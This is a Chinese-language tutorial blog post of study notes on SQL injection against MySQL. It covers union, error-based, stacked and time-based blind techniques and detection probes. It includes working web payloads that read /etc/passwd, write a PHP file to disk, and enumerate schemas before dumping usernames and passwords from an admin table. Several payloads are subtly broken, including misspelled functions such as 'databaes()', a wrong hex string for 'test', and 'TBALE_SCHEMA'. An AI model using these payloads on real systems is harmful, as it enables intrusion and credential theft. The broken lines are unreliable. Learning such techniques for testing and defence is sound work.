Java教程

sql注入学习总结(未完待续)

本文主要是介绍sql注入学习总结(未完待续),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

什么是SQL注入
SQL注入(Sql Injection )

是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
哪里存在SQL注入?

GET
POST
HTTP头部注入
Cookie注入
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

SQL注入的分类

根据SQL数据类型分类

联合注入

 

 

在可以联合查询的题目中,一般会将数据库查询的数据回显到首页面中,这是联合注入的前提。

 

 

适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库,因为MYSQL会有一个系统数据库information_schema, information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等

报错注入

 

 

现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了

 

 

报错注入的利用步骤和联合注入一致,只是利用函数不同。

 

 

以updatexml为例。

 

 

UpdateXML(xml_target, xpath_expr, new_xml)

 

 

xml_target: 需要操作的xml片段

 

 

xpath_expr: 需要更新的xml路径(Xpath格式)

 

 

new_xml: 更新后的内容

 

 

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

 

 

这个函数当xpath路径错误时就会报错,而且会将路径内容返回,这就能在报错内容中看到我们想要的内容。

 

 

而且以~开头的内容不是xml格式的语法,那就可以用concat函数拼接~使其报错,当然只要是不符合格式的都可以使其报错。

 

堆叠注入

 

 

堆叠注入就是多条语句一同执行。

 

 

原理就是mysql_multi_query() 支持多条sql语句同时执行,用;分隔,成堆的执行sql语句。

 

 

比如

 

 

select databse();select * from users;

 

 

在权限足够的情况下甚至可以对数据库进行增删改查。但是堆叠注入的限制是很大的。但是与union联合执行不同的是它可以同时执行无数条语句而且是任何sql语句。而union执行的语句是有限的。

 

基于时间的盲注

 

 

时间盲注用于代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息

 

 

语句执行后也不提示真假,我们不能通过页面的内容来判断

 

 

所以有布尔盲注就必有时间盲注,但有时间盲注不一定有布尔盲注

 

 

时间盲注主要是利用sleep函数让网页的响应时间不同从而实现注入。

 

如何去判断SQL注入漏洞

and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
MySQL数据库的特性
MySQL中3种注释风格
# (url编码为%23)

– (–后边要跟上一个或多个空格 --+)

/* … */

/*! … */ 内联注释

select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)

MySQL函数利用
常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
load_file( )函数 读文件操作
前提

知道文件绝对路径
能够使用union查询
对web目录有写权限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )写文件操作
前提

文件名必须全路径(绝对路径),
用户必须有写文件的权限
没有对 ‘ 引号过滤
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2…)
group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中自动去除了重复行。
UNION query SQl injection

 

注入步骤

判断列数

order by 10
order by 20
order by 15

判断显示位

url?id=-1 union select 1,2,3,4,5

获取当数据库名称和当前连接数据库的用户

url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5

列出所有数据库

limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(数据库:test)中所有的表

limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

列出(数据库:test 表:admin )中所有的字段

limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

列出(数据库:test 表:admin )中的数据

limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network

这篇关于sql注入学习总结(未完待续)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!